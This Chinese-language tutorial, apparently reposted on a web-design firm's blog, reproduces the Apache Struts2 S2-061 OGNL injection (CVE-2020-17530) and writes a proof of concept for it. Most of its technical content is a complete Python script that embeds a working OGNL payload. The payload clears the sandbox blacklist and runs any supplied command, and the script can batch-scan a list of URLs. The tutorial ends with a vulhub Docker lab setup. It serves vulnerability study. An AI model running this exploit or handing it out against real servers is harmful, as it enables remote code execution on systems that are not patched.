如何进行structs2-061远程命令执行漏洞复现及poc编写

这篇文章给大家介绍如何进行structs2-061远程命令执行漏洞复现及poc编写,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

我们提供的服务有:成都网站设计、成都做网站、微信公众号开发、网站优化、网站认证、珠海ssl等。为上千余家企事业单位解决了网站和推广的问题。提供周到的售前咨询和贴心的售后服务,是有科学管理、有技术的珠海网站制作公司

1、简介

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。

2、漏洞原理

Structs2攻击者通过构造恶意的 OGNL 表达式,引发 OGNL 表达式二次解析,最终造成远程代码执行的影响。

此漏洞利用的是Structs2会对某些标签属性(比如id)的属性值进行二次表达式解析,当这些标签属性中使用了 `%{x}` 且 `x` 的值用户可控时,攻击者构造payload,payload里面就是OGNL表达式 ,通过OGNL 可以访问 对象的属性,执行系统命令。

3、影响版本:

struts 2.0.0 - struts 2.5.25

4、poc编写

4.1代码编写

使用的是python语言,导入四个库,request库、sys库、re库、OptionParser库。

其实一开始的代码只有def s2_file这个功能,批量扫描一个txt里面所有的url。

但是表哥说我这个代码人机交互太差了,就加了两个功能def s2_url(实现单个url扫描)和解析库(设置usage的options)

''' 
author:Sweetmelon
time:2020-12-14
s2-061 poc
'''
# -*- coding:utf-8 -*-
import requests,sys,re

def s2_file(filename, command="id"):
    with open(filename, 'r', encoding = 'utf-8') as f1:
        for line in f1:
            payload="%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27"+command+"%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d"  
            url=line+"/index.action?id="+payload
            # print(url)
            r=requests.get(url).text
            # print(r)
            z=re.findall("a id=.*",r)
            output=str(z).replace("a id=\"","")
            # print(output)
            if "uid" in output:
                print(line.strip()+"存在struct2-061漏洞")
            else:
                print(line.strip()+"不存在struct2-061漏洞")

def s2_url(url, command="id"):
    payload="%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27"+command+"%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d"  
    url=url+"/index.action?id="+payload
    # print(url)
    r=requests.get(url).text
    # print(r)
    z=re.findall("a id=.*",r)
    output=str(z).replace("a id=\"","")
    print(output)

from optparse import OptionParser
usage = "%prog -f filename\nUsage2: %prog -u url -c command"
parser=OptionParser(usage=usage)
parser.add_option('-f','--file',action='store',type='string',dest='filename',help='Input Filename')
parser.add_option('-u','--url',action='store',type='string',dest='url',help='Input URL')
parser.add_option('-c','--command',action='store',type='string',dest='command',help='Input Command')

(options, args) = parser.parse_args()
# print(type(options.url))
# print(options.url)
if(options.filename and options.url==None):
    # print(options.filename)
    s2_file(options.filename)
if(options.url and options.filename==None):
    # print(options.url)
    s2_url(options.url, options.command)
if(options.filename and options.url):
    print("Usage1: "+sys.argv[0]+"-f filename\nUsage2: "+sys.argv[0]+"-u url -c command")
if(options.filename==None and options.url==None):
    print(sys.argv[0]+" -h")

4.2pyload解析(郑老师小课堂)

(1)第一个pyload

为什么前面写这么长,是为了绕过沙盒(其实structs2-061就是structs2-059的绕过)。

已知的OGNL沙盒限制为:
无法new一个对象
无法调用黑名单类和包的方法、属性
无法使用反射
无法调用静态方法
OGNL沙盒未限制的操作为:
对象属性 setter/getter(public) 赋/取值,可以访问静态属性。
已实例类的方法调用( OgnlContext 中的对象),不允许调用静态方法
可以看到目前我们只能在 OgnlContext 中寻找可利用的对象。

如果要深入的话,需要了解整个struct2项目和 OGNL 语法了。但是,不深入理解的话,就知道 通过OGNL 语法 ,重置 黑名单,然后得到 访问的命令执行类的命令执行方法

如何进行structs2-061远程命令执行漏洞复现及poc编写

(2)第二个pyload

如何进行structs2-061远程命令执行漏洞复现及poc编写

5、漏洞复现

5.1漏洞环境搭建

(1)kali安装 docker

#部署前准备
在开始之前,请确保您的Kali Linux完全是最新的。
添加Docker PGP key:
因为国内对docker官网的网速支持并不友好,我将使用清华镜像作为代替
$ curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -

#配置Docker APT repository:
$ echo 'deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
#更新APT
sudo apt-get update
#安装Docker
#如果您安装了旧版本的Docker,请卸载它们:
$ sudo apt-get remove docker docker-engine docker.io
#安装docker:
$ sudo apt-get install docker-ce
#查看docker状态:
$ sudo systemctl status docker
# 启动docker:
$ sudo systemctl start docker
# 开机自动启动
sudo systemctl enable docker
# 查看安装版本
$ sudo docker version

(2)下载vulhub-master放到kali

git clone https://github.com/vulhub/vulhub.git

(3)进入目录/vulhub-master/struts2/s2-061

启动靶场:docker-compose up -d

5.2验证漏洞

(1)浏览器打开http://192.168.8.135:8080/

如何进行structs2-061远程命令执行漏洞复现及poc编写

(2)抓包手工验证

抓包看到这个漏洞标志性的信息/.action?id=

于是将payload放上去,可以看到返回包返回了我们命令执行请求的结果

如何进行structs2-061远程命令执行漏洞复现及poc编写

(3)poc脚本验证

如何进行structs2-061远程命令执行漏洞复现及poc编写

关于如何进行structs2-061远程命令执行漏洞复现及poc编写就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。


网页名称:如何进行structs2-061远程命令执行漏洞复现及poc编写
网站网址:http://ybzwz.com/article/jshcce.html